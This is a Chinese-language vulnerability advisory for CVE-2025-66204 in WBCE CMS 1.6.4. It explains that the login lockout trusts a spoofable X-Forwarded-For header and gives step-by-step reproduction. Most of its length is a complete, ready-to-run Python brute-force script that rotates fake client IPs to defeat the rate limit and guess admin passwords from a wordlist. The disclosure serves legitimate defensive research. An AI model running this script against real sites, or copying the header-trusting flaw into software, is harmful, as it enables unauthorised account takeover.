| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-66204 |
| 严重性 | 中危 |
| 安全公告 | 查看公告 |
| 发现者 | Lukasz Rybak |
WBCE CMS 1.6.4 存在暴力破解防护绕过漏洞。 登录限速机制会在 5 次无效登录尝试后阻止某个 IP 地址。 然而,应用程序完全信任 X-Forwarded-For 标头,既不对其进行验证,也不限制其使用。
通过在每次请求时修改 X-Forwarded-For,攻击者可以无限期重置计数器并获得无限制的密码猜测尝试次数,从而有效绕过所有暴力破解防护。
WBCE CMS 使用以下逻辑确定客户端 IP:
尽管 WBCE 默认并不运行在反向代理之后,但登录端点只要检测到 X-Forwarded-For 存在就会解析它,即使该标头是客户端手动添加的。
由于应用程序不验证请求是否来自受信任的代理,攻击者可以注入带有任意 IP 地址的自定义 X-Forwarded-For 标头。
这导致:
此行为可在 WBCE CMS 前端没有反向代理的全新默认安装上复现。
步骤
使用错误的密码尝试登录并发送标头:
X-Forwarded-For: 10.0.0.10
重复操作直至触发锁定(5 次尝试之后)。

将标头改为:
X-Forwarded-For: 10.0.0.11
登录尝试计数被重置,从而再次被允许。

遍历 10.0.0.x 并无限制地进行暴力破解。
自动化 PoC 脚本
我编写了一个 Python 脚本来自动执行此攻击,每四次尝试轮换一次伪装的 IP,并检测登录是否成功。
...
这证明了该防护可被完全绕过。
import requests
# ==========================
# CONFIGURATION
# ==========================
TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"
# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"
WORDLIST = "wordlist.txt"
ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"
MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."
# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
session = requests.Session()
if USE_BURP:
session.proxies.update(PROXIES)
session.verify = False
# ==========================
# LOGIN REQUEST
# ==========================
def try_login(ip, password):
"""Send one login attempt with spoofed X-Forwarded-For."""
headers = {
"X-Forwarded-For": ip,
"User-Agent": "WBCE-Bruteforce-POC",
}
data = {
USERNAME_META_FIELD: USERNAME_FIELDNAME,
PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
USERNAME_FIELDNAME: USERNAME,
PASSWORD_FIELDNAME: password,
"url": "",
"submit": "Login",
}
resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
text = resp.text
failed = ERROR_STRING in text
blocked = BLOCK_STRING in text
success = not failed and not blocked
return success, failed, blocked, resp
# ==========================
# MAIN ROUTINE
# ==========================
def main():
print("[*] Loading wordlist...")
with open(WORDLIST, "r", encoding="utf-8") as f:
passwords = [p.strip() for p in f if p.strip()]
print(f"[*] Loaded {len(passwords)} passwords.\n")
current_ip_counter = 1
attempts_with_ip = 0
for attempt_no, password in enumerate(passwords, start=1):
ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
success, failed, blocked, resp = try_login(ip, password)
print(
f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
f"| failed={failed} blocked={blocked}"
)
if success:
print("\n[+] SUCCESSFUL LOGIN!")
print(f" Username: {USERNAME}")
print(f" Password: {password}")
print(f" IP used : {ip}")
return
attempts_with_ip += 1
# Switch spoofed IP after lockout threshold
if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
current_ip_counter += 1
attempts_with_ip = 0
print("\n[-] Password not found in wordlist.")
if __name__ == "__main__":
main()
此 CVE 遵循协调漏洞披露规范进行了负责任地披露。此处提供的信息仅用于教育和防御目的。